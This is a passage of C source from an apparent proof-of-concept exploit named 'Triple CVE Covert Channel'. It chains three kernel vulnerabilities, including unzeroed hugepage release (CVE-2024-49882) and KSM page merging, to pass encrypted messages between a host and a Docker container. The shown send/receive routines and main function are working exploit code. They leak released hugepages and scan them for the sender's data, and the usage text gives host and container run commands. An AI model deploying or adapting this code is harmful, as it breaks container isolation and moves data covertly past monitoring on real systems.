    msync(hp, HUGEPAGE_SIZE, MS_SYNC);
    
    printf("[Phase3] Message encrypted and written to hugepage\n");
    printf("[Phase3]   Magic: 0x%08X\n", frame->magic);
    printf("[Phase3]   Session: 0x%08X\n", frame->session_id);
    printf("[Phase3]   Length: %u bytes\n", frame->length);
    printf("[Phase3]   Sequence: %u\n", frame->sequence);
    printf("[Phase3]   Checksum: %u\n", frame->checksum);
    
    /* Signal peer to START SCANNING NOW */
    printf("[Phase3] Signaling receiver to start scanning...\n");
    trigger_send_sync(&ctx->trigger, 0xFF, 0xAA);
    
    /* Give receiver time to start scanning BEFORE we release */
    printf("[Phase3] Waiting for receiver to start scanning...\n");
    msleep(500);
    
    /* Release hugepage - CVE-2024-49882: page NOT zeroed! */
    printf("[Phase3] Releasing hugepage (CVE-2024-49882 trigger)...\n");
    udmabuf_release_hugepage(hp);
    
    /* Signal release complete */
    msleep(100);
    trigger_send_sync(&ctx->trigger, 0xFF, 0xBB);
    
    ctx->messages_sent++;
    printf("[Phase3] Message sent! Hugepage released with stale data.\n");
    
    return 0;
}

int phase3_receive_message(channel_ctx_t *ctx, char *buffer, size_t buflen)
{
    printf("\n╔══════════════════════════════════════╗\n");
    printf("║ Phase 3: RECV MESSAGE (CVE-2024-49882)║\n");
    printf("╚══════════════════════════════════════╝\n");
    
    if (!ctx->key_established) {
        printf("[Phase3] Error: Key not established!\n");
        return -1;
    }
    
    /* Wait for scan signal */
    uint8_t signal;
    printf("[Phase3] Waiting for scan signal...\n");
    if (trigger_wait_sync(&ctx->trigger, 0xFF, &signal, 30000) < 0 || signal != 0xAA) {
        printf("[Phase3] Timeout waiting for scan signal\n");
        return -1;
    }
    
    printf("[Phase3] Got signal! Waiting for hugepage release...\n");
    
    /* 
     * Expected sequence: 
     * - If we're initiator receiving reply, expect sequence >= 1
     * - If we're responder receiving first message, expect sequence >= 0
     */
    uint32_t expected_seq_min = ctx->is_initiator ? 1 : 0;
    
    int found = 0;
    int attempts = 0;
    int pages_captured = 0;
    int pages_wrong_session = 0;
    int last_free = -1;
    int release_detected = 0;
    
    /* Get initial free hugepage count */
    FILE *f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages", "r");
    if (f) {
        fscanf(f, "%d", &last_free);
        fclose(f);
        printf("[Phase3] Initial free hugepages: %d\n", last_free);
    }
    
    printf("[Phase3] Session: 0x%08X, Sequence >= %u\n", g_session_id, expected_seq_min);
    
    /*
     * WAIT FOR RELEASE SIGNAL FIRST
     * Don't exhaust the pool before the sender releases!
     */
    printf("[Phase3] Waiting for release signal (max 5s)...\n");
    for (int wait = 0; wait < 50 && !release_detected && running; wait++) {
        uint8_t sig = 0;
        if (trigger_wait_sync(&ctx->trigger, 0xFF, &sig, 100) == 0 && sig == 0xBB) {
            release_detected = 1;
            printf("[Phase3] RELEASE SIGNAL RECEIVED! Starting capture...\n");
            break;
        }
        
        /* Also check if free count increased */
        f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages", "r");
        if (f) {
            int free_hp = 0;
            fscanf(f, "%d", &free_hp);
            fclose(f);
            if (last_free != -1 && free_hp > last_free) {
                printf("[Phase3] HUGEPAGE RELEASED: %d -> %d\n", last_free, free_hp);
                release_detected = 1;
                break;
            }
        }
    }
    
    if (!release_detected) {
        printf("[Phase3] No release signal, starting capture anyway...\n");
    }
    
    /* Now scan aggressively for the leaked hugepage */
    printf("[Phase3] Capturing hugepages...\n");
    
    for (attempts = 0; attempts < 5000 && !found && running; attempts++) {
        void *hp = udmabuf_leak_hugepage();
        if (!hp) {
            usleep(500);
            continue;
        }
        
        pages_captured++;
        uint32_t magic = *(uint32_t *)hp;
        
        if (magic == MSG_MAGIC) {
            msg_frame_t *frame = (msg_frame_t *)hp;
            
            /* Check session ID */
            if (frame->session_id != g_session_id) {
                pages_wrong_session++;
                if (pages_wrong_session <= 3) {
                    printf("[Phase3] Skip: session 0x%08X (need 0x%08X)\n", 
                           frame->session_id, g_session_id);
                } else if (pages_wrong_session == 4) {
                    printf("[Phase3] (suppressing further session mismatch messages)\n");
                }
                free(hp);
                continue;
            }
            
            /* Check sequence */
            if (frame->sequence < expected_seq_min) {
                printf("[Phase3] Skip: seq %u (need >= %u)\n", frame->sequence, expected_seq_min);
                free(hp);
                continue;
            }
            
            printf("\n[Phase3] ████████████████████████████████████████\n");
            printf("[Phase3] ████ CVE-2024-49882 EXPLOITED! ████\n");
            printf("[Phase3] ████ LEAKED PAGE CAPTURED!     ████\n");
            printf("[Phase3] ████████████████████████████████████████\n\n");
            printf("[Phase3]   Attempt: %d\n", attempts);
            printf("[Phase3]   Magic: 0x%08X ✓\n", magic);
            printf("[Phase3]   Session: 0x%08X ✓\n", frame->session_id);
            printf("[Phase3]   Sequence: %u\n", frame->sequence);
            printf("[Phase3]   Length: %u\n", frame->length);
            printf("[Phase3]   Checksum: %u\n", frame->checksum);
            
            if (frame->length > 0 && frame->length <= MAX_MESSAGE) {
                uint8_t decrypted[MAX_MESSAGE];
                memcpy(decrypted, frame->data, frame->length);
                xor_crypt(decrypted, frame->length, ctx->key, KEY_BYTES);
                
                uint32_t cksum = calc_checksum(decrypted, frame->length);
                if (cksum == frame->checksum) {
                    size_t copylen = frame->length < buflen - 1 ? frame->length : buflen - 1;
                    memcpy(buffer, decrypted, copylen);
                    buffer[copylen] = '\0';
                    found = 1;
                    ctx->messages_received++;
                    printf("[Phase3] ✓ Checksum verified!\n");
                } else {
                    printf("[Phase3] ✗ Checksum mismatch (got %u, expected %u)\n",
                           cksum, frame->checksum);
                }
            }
        }
        
        free(hp);
        
        if (found) break;
        
        /* Progress update */
        if (attempts % 500 == 0 && attempts > 0) {
            printf("[Phase3] Attempt %d: %d captured, %d wrong session\n", 
                   attempts, pages_captured, pages_wrong_session);
        }
    }
    
    printf("[Phase3] Scan complete: %d attempts, %d captured, %d wrong session\n", 
           attempts, pages_captured, pages_wrong_session);
    
    if (found) {
        printf("\n[Phase3] ═══════════════════════════════════════\n");
        printf("[Phase3] ✓ DECRYPTED MESSAGE: \"%s\"\n", buffer);
        printf("[Phase3] ═══════════════════════════════════════\n\n");
    } else {
        printf("[Phase3] Message not captured\n");
    }
    
    return found ? 0 : -1;
}

/*
 * ============================================================================
 * Main
 * ============================================================================
 */

void print_usage(const char *prog)
{
    printf("╔════════════════════════════════════════════════════════════════╗\n");
    printf("║  Triple CVE Covert Channel                                     ║\n");
    printf("║  CVE-2023-1206 + CVE-2025-40040 + CVE-2024-49882               ║\n");
    printf("╚════════════════════════════════════════════════════════════════╝\n\n");
    printf("Usage: %s [options]\n\n", prog);
    printf("Options:\n");
    printf("  -i          Initiator mode (send first)\n");
    printf("  -r          Responder mode (receive first)\n");
    printf("  -p IP       Peer IP address\n");
    printf("  -m MSG      Message to send\n");
    printf("  -v          Verbose output\n");
    printf("  -h          Show help\n");
    printf("\nExample (Host + Docker):\n");
    printf("  Docker:  sudo %s -r -p 172.17.0.1 -v\n", prog);
    printf("  Host:    sudo %s -i -p 172.17.0.2 -m 'SECRET' -v\n", prog);
}

int main(int argc, char *argv[])
{
    int mode = 0;  /* 0=none, 1=initiator, 2=responder */
    char *peer_ip = NULL;
    char *message = NULL;
    int verbose = 0;
    int opt;
    
    while ((opt = getopt(argc, argv, "irp:m:vh")) != -1) {
        switch (opt) {
        case 'i': mode = 1; break;
        case 'r': mode = 2; break;
        case 'p': peer_ip = optarg; break;
        case 'm': message = optarg; break;
        case 'v': verbose = 1; break;
        default: print_usage(argv[0]); return 0;
        }
    }
    
    if (mode == 0 || !peer_ip) {
        print_usage(argv[0]);
        return 1;
    }
    
    signal(SIGINT, sig_handler);
    srand(time(NULL) ^ getpid());
    
    printf("╔════════════════════════════════════════════════════════════════╗\n");
    printf("║  Triple CVE Covert Channel                                     ║\n");
    printf("║  Trigger: CVE-2023-1206 | Key: CVE-2025-40040 | Data: CVE-2024-49882 ║\n");
    printf("╚════════════════════════════════════════════════════════════════╝\n\n");
    
    /* Initialize */
    channel_ctx_t ctx;
    memset(&ctx, 0, sizeof(ctx));
    ctx.is_initiator = (mode == 1);
    strncpy(ctx.peer_ip, peer_ip, sizeof(ctx.peer_ip) - 1);
    
    /* 
     * Sequence numbers: initiator uses even (0, 2, 4...), responder uses odd (1, 3, 5...)
     * This ensures we can distinguish messages from each party
     */
    ctx.sequence = ctx.is_initiator ? 0 : 1;
    
    ksm_enable();
    
    if (trigger_init(&ctx.trigger, peer_ip, ctx.is_initiator) < 0) {
        fprintf(stderr, "Failed to init trigger\n");
        return 1;
    }
    
    if (ksm_init(&ctx.ksm) < 0) {
        fprintf(stderr, "Failed to init KSM\n");
        return 1;
    }
    
    hugepage_init(&ctx.hugepage);
    
    /* Clear old hugepages from previous runs */
    clear_hugepage_pool();
    
    /* Phase 1: Trigger */
    if (phase1_trigger(&ctx) < 0) {
        fprintf(stderr, "Trigger phase failed\n");
        goto cleanup;
    }
    
    /* Phase 2: Key Agreement */
    if (phase2_key_agreement(&ctx, verbose) < 0) {
        fprintf(stderr, "Key agreement failed\n");
        goto cleanup;
    }
    
    /* Phase 3: Message Transfer */
    if (ctx.is_initiator && message) {
        /* Send message */
        if (phase3_send_message(&ctx, message) < 0) {
            fprintf(stderr, "Failed to send message\n");
            goto cleanup;
        }
        
        /* Wait for reply */
        char reply[MAX_MESSAGE];
        if (phase3_receive_message(&ctx, reply, sizeof(reply)) == 0) {
            printf("\n════════════════════════════════════════\n");
            printf("RECEIVED REPLY: %s\n", reply);
            printf("════════════════════════════════════════\n");
        }
    } else {
        /* Receive message */
        char received[MAX_MESSAGE];
        if (phase3_receive_message(&ctx, received, sizeof(received)) == 0) {
            printf("\n════════════════════════════════════════\n");
            printf("RECEIVED MESSAGE: %s\n", received);
            printf("════════════════════════════════════════\n");
            
            /* Send reply */
            char reply[MAX_MESSAGE];
            snprintf(reply, sizeof(reply), "ACK: %s", received);
            phase3_send_message(&ctx, reply);
        }
    }
    
    /* Summary */
    printf("\n╔════════════════════════════════════════╗\n");
    printf("║ SUMMARY                                ║\n");
    printf("╚════════════════════════════════════════╝\n");
    printf("  Messages sent:     %d\n", ctx.messages_sent);
    printf("  Messages received: %d\n", ctx.messages_received);
    printf("  KSM merge rounds:  %d/%d\n", ctx.ksm_merged_count, KEY_BITS);
    
cleanup:
    trigger_cleanup(&ctx.trigger);
    ksm_cleanup(&ctx.ksm);
    hugepage_cleanup(&ctx.hugepage);
    
    return 0;
}
